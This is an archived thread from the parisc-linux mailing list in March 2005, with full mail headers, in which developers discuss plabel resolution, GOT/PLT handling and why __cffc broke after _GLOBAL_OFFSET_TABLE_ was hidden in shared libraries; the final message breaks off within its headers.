From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Tue, 8 Mar 2005 14:02:33 -0500 (EST)
Lines: 48
Approved: news@gmane.org
Message-ID: <200503081902.j28J2XMe002188@hiauly1.hia.nrc.ca>
References: <20050308175445.GV23803@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623687 12908 80.91.229.3 (22 Nov 2014 02:34:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Mar 2005 19:03:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx015) with SMTP; 08 Mar 2005 20:03:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A8CF7D69C;
	Tue,  8 Mar 2005 12:04:24 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07579-08; Tue, 8 Mar 2005 12:04:24 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 71B377D6A0;
	Tue,  8 Mar 2005 12:04:23 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 000C87D699
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 12:04:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07579-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 Mar 2005 12:04:10 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 6B2767D695
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 12:04:10 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j28J2YhF002190; Tue, 8 Mar 2005 14:02:34 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j28J2XMe002188;
	Tue, 8 Mar 2005 14:02:33 -0500 (EST)
In-Reply-To: <20050308175445.GV23803@baldric.uwo.ca> from "Carlos O'Donell" at
	Mar 8, 2005 12:54:45 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZptGKmJXTlIv47eQeGhrSVVGU2poZZm1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22408

> > This problem was fixed yesterday by Alan Modra.
> 
> I'm not sure what you mean in your statement "shared library function
> pointers are resolved when the library is loaded?" The function pointers
> exist as two-byte entries in the PLT, and are non-unique, and they
> aren't resolved until call time with lazy resolution.

This is what Alasn said:

  I checked.  &_GLOBAL_OFFSET_TABLE_ in fptr.c does resolve to the main
  app GOT before the change.  That in fact is what is needed, because
  according to what I see in dl-machine.h, plabels in shared libs will be
  resolved.  I think it's only plabels in the main app for global
  functions that won't be resolved (because they point into the plt).

  Hmm.  If PLABEL32 relocs in the main app were emitted as dynamic relocs,
  then ld.so would call _dl_make_fptr for them.  I think you wouldn't need
  __canonicalize_funcptr_for_compare any more..

I don't think we could completely do away with __cffc but if the
plabels were always resolved we could just look inside the plabel
to get the function address.

> I would imagine that the main _GOT_ is supposed to override the shared
> library _GOT_. __cffc is only looking at the _GOT_ to get the fptr that
> the dynamic loader wrote there during setup, so that it can get called
> for symbol resolution. This setup is done for all objects, which
> includes all the _GOT_'s, from the application to all the loaded shared
> libraries.

If the dynamic loader always uses the main app's got for the trampoline,
__cffc would work for plabels in shared libraries that used lazy linking.

> Or rather are you saying, that from a shared library, the library saw
> only the _GOT_ from the main applicaiton? I would think that this 
> wouldn't effect the library since the loader setup r19 properly, and
> aslong as it doesn't use _GOT_ then it's fine.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] OPD's on hppa-linux,
	and what to do about __cffc's fragility.
Date: Tue, 8 Mar 2005 16:08:51 -0500
Lines: 79
Approved: news@gmane.org
Message-ID: <20050308210851.GA23803@baldric.uwo.ca>
References: <20050308175445.GV23803@baldric.uwo.ca>
	<200503081902.j28J2XMe002188@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623688 12912 80.91.229.3 (22 Nov 2014 02:34:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:48 +0000 (UTC)
Cc: Alan Modra <amodra@bigpond.net.au>,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Mar 2005 21:09:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx023) with SMTP; 08 Mar 2005 22:09:25 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B054D7D6A2;
	Tue,  8 Mar 2005 14:10:22 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08192-05; Tue, 8 Mar 2005 14:10:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B643E7D69E;
	Tue,  8 Mar 2005 14:10:21 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 08A467D697
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 14:10:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08074-04 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 Mar 2005 14:10:15 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 6D4547D696
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 14:10:15 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1D8lwi-00007v-00; Tue, 08 Mar 2005 16:08:52 -0500
Content-Disposition: inline
In-Reply-To: <200503081902.j28J2XMe002188@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Mailer: Neural Implant (67% Sync Ratio [=======...])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5nhFKoRQTlIv47eQeGhrSVVGU2poZVk4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22409

On Tue, Mar 08, 2005 at 02:02:33PM -0500, John David Anglin wrote:
> > > This problem was fixed yesterday by Alan Modra.
> > 
> > I'm not sure what you mean in your statement "shared library function
> > pointers are resolved when the library is loaded?" The function pointers
> > exist as two-byte entries in the PLT, and are non-unique, and they
> > aren't resolved until call time with lazy resolution.

Once, we start quoting Alan, I believe it's time to atleast let him read
some of the remarks. Perhaps he will have some insightful comment.
 
> This is what Alasn said:
> 
>   I checked.  &_GLOBAL_OFFSET_TABLE_ in fptr.c does resolve to the main
>   app GOT before the change.  That in fact is what is needed, because
>   according to what I see in dl-machine.h, plabels in shared libs will be
>   resolved.  I think it's only plabels in the main app for global
>   functions that won't be resolved (because they point into the plt).
> 
>   Hmm.  If PLABEL32 relocs in the main app were emitted as dynamic relocs,
>   then ld.so would call _dl_make_fptr for them.  I think you wouldn't need
>   __canonicalize_funcptr_for_compare any more..
> 
> I don't think we could completely do away with __cffc but if the
> plabels were always resolved we could just look inside the plabel
> to get the function address.

Perhaps some background and clarification...

Okay, *ABS* (R_PARISC_IPLT, r_sym == 0) entries are automatically
relocated at startup, because we have enough information, we are already
walking the PLT list, and it takes only a single add to complete the
relocation. 

Next, anything else (R_PARISC_IPLT, r_sym != 0) is pointed at the
plt/got stub (which calls the trampoline _dl_runtime_resolve) since it
will require symbol resolution to fixup.

I don't quite understand what Alan is getting at when he says "If
PLABEL32 relocs in the main app were emitted as dynamic relocs,"

I'm really a stickler for nomeclature. In my mind a "resolved" plabel is
one whose ip/gp point to the true and final function address after the ELF
symbol resolution rules have been followed for that symbol. Is this the
generally accepted definition? I interchangably think plabel == fptr.

> > I would imagine that the main _GOT_ is supposed to override the shared
> > library _GOT_. __cffc is only looking at the _GOT_ to get the fptr that
> > the dynamic loader wrote there during setup, so that it can get called
> > for symbol resolution. This setup is done for all objects, which
> > includes all the _GOT_'s, from the application to all the loaded shared
> > libraries.
> 
> If the dynamic loader always uses the main app's got for the trampoline,
> __cffc would work for plabels in shared libraries that used lazy linking.

To clarify this, you mean to say if the loader always uses the main
app's plt/got stub then everything would be okay. The check in __cffc to
see if the plabel has been resolved would work (e.g. got !=
&_GLOBAL_OFFSET_TABLE_).

It didn't make a difference in the past because the shared library
plabels were already resolved? Wouldn't this mean that lazy linking
wasn't working at all?

So only the main app symbols had to be resolved, and this worked fine.
Thus the comparison worked fine.

I don't quite understand why this broke, if someone would be so kind as
the point out the error in my thinking.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OPD's on hppa-linux,
	and what to do about __cffc's fragility.
Date: Tue, 8 Mar 2005 16:48:18 -0500 (EST)
Lines: 53
Approved: news@gmane.org
Message-ID: <200503082148.j28LmIRY002942@hiauly1.hia.nrc.ca>
References: <20050308210851.GA23803@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623688 12916 80.91.229.3 (22 Nov 2014 02:34:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:48 +0000 (UTC)
Cc: amodra@bigpond.net.au,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Mar 2005 21:49:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx028) with SMTP; 08 Mar 2005 22:49:18 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7986A7D69F;
	Tue,  8 Mar 2005 14:50:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08762-01; Tue, 8 Mar 2005 14:50:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E81437D6A0;
	Tue,  8 Mar 2005 14:50:05 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8C7137D69E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 14:49:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08192-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 Mar 2005 14:49:59 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 0B4657D69C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 14:49:58 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j28LmJhF002943; Tue, 8 Mar 2005 16:48:19 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j28LmIRY002942;
	Tue, 8 Mar 2005 16:48:18 -0500 (EST)
In-Reply-To: <20050308210851.GA23803@baldric.uwo.ca> from "Carlos O'Donell" at
	Mar 8, 2005 04:08:51 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vnFFKv5pTlIv47eQeGhrSVVGU2poZVnb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22410

> I'm really a stickler for nomeclature. In my mind a "resolved" plabel is
> one whose ip/gp point to the true and final function address after the ELF
> symbol resolution rules have been followed for that symbol. Is this the
> generally accepted definition? I interchangably think plabel == fptr.

I agree with the former definition regarding a resolved plabel.  I believe
that the term plabel is interchangeable with the term function descriptor.
A function pointer on the otherhand may point either directly to the
code address of the function or to a plabel.

> > > I would imagine that the main _GOT_ is supposed to override the shared
> > > library _GOT_. __cffc is only looking at the _GOT_ to get the fptr that
> > > the dynamic loader wrote there during setup, so that it can get called
> > > for symbol resolution. This setup is done for all objects, which
> > > includes all the _GOT_'s, from the application to all the loaded shared
> > > libraries.
> > 
> > If the dynamic loader always uses the main app's got for the trampoline,
> > __cffc would work for plabels in shared libraries that used lazy linking.
> 
> To clarify this, you mean to say if the loader always uses the main
> app's plt/got stub then everything would be okay. The check in __cffc to
> see if the plabel has been resolved would work (e.g. got !=
> &_GLOBAL_OFFSET_TABLE_).

Yes.

> It didn't make a difference in the past because the shared library
> plabels were already resolved? Wouldn't this mean that lazy linking
> wasn't working at all?

If shared libraries used the main app's &_GLOBAL_OFFSET_TABLE_, then
lazy linking could be working.   The testcase that I posted had a
plabel constructor in the shared library.  I recall now that the got
pointer for the plabel was the main app's &_GLOBAL_OFFSET_TABLE_.

> I don't quite understand why this broke, if someone would be so kind as
> the point out the error in my thinking.

Hiding _GLOBAL_OFFSET_TABLE_, resulted in _GLOBAL_OFFSET_TABLE_
being local to shared libraries, as a result __cffc no longer used
the main app's &_GLOBAL_OFFSET_TABLE_.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OPD's on hppa-linux,
	and what to do about __cffc's fragility.
Date: Tue, 8 Mar 2005 16:52:34 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200503082152.j28LqY4F002980@hiauly1.hia.nrc.ca>
References: <200503082148.j28LmIRY002942@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623688 12921 80.91.229.3 (22 Nov 2014 02:34:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:48 +0000 (UTC)
Cc: amodra@bigpond.net.au,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Mar 2005 21:53:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx063) with SMTP; 08 Mar 2005 22:53:29 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1EA077D6AA;
	Tue,  8 Mar 2005 14:54:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08762-07; Tue, 8 Mar 2005 14:54:20 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 87B9F7D6AB;
	Tue,  8 Mar 2005 14:54:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5858D7D6A9
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 14:54:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08671-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 Mar 2005 14:54:15 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id C0AD77D69C
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 14:54:15 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j28LqYhF002981; Tue, 8 Mar 2005 16:52:35 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j28LqY4F002980;
	Tue, 8 Mar 2005 16:52:34 -0500 (EST)
In-Reply-To: <200503082148.j28LmIRY002942@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Mar 8, 2005 04:48:18 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: u3JFKgBZTlIv47eQeGhrSVVGU2poZVkP
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22411

> A function pointer on the otherhand may point either directly to the
> code address of the function or to a plabel.

Further, there are some special function pointers like -1.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <amodra@bigpond.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: OPD's on hppa-linux,
	and what to do about __cffc's fragility.
Date: Wed, 9 Mar 2005 08:55:13 +1030
Lines: 23
Approved: news@gmane.org
Message-ID: <20050308222513.GF15642@bubble.modra.org>
References: <20050308175445.GV23803@baldric.uwo.ca>
	<200503081902.j28J2XMe002188@hiauly1.hia.nrc.ca>
	<20050308210851.GA23803@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623689 12924 80.91.229.3 (22 Nov 2014 02:34:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:49 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 08 Mar 2005 22:25:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 08 Mar 2005 23:25:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5ED567D6AA;
	Tue,  8 Mar 2005 15:26:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09056-04; Tue, 8 Mar 2005 15:26:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 915A37D6AB;
	Tue,  8 Mar 2005 15:26:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 930FC7D6A8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 15:26:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08762-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 8 Mar 2005 15:26:19 -0700 (MST)
Original-Received: from modra.org (CPE-144-136-221-26.sa.bigpond.net.au
	[144.136.221.26])
	by free.linux.hp.com (Postfix) with ESMTP id D9D237D6A6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  8 Mar 2005 15:26:18 -0700 (MST)
Original-Received: by bubble.modra.org (Postfix, from userid 500)
	id 1AD57172F1B; Wed,  9 Mar 2005 08:55:13 +1030 (CST)
Content-Disposition: inline
In-Reply-To: <20050308210851.GA23803@baldric.uwo.ca>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
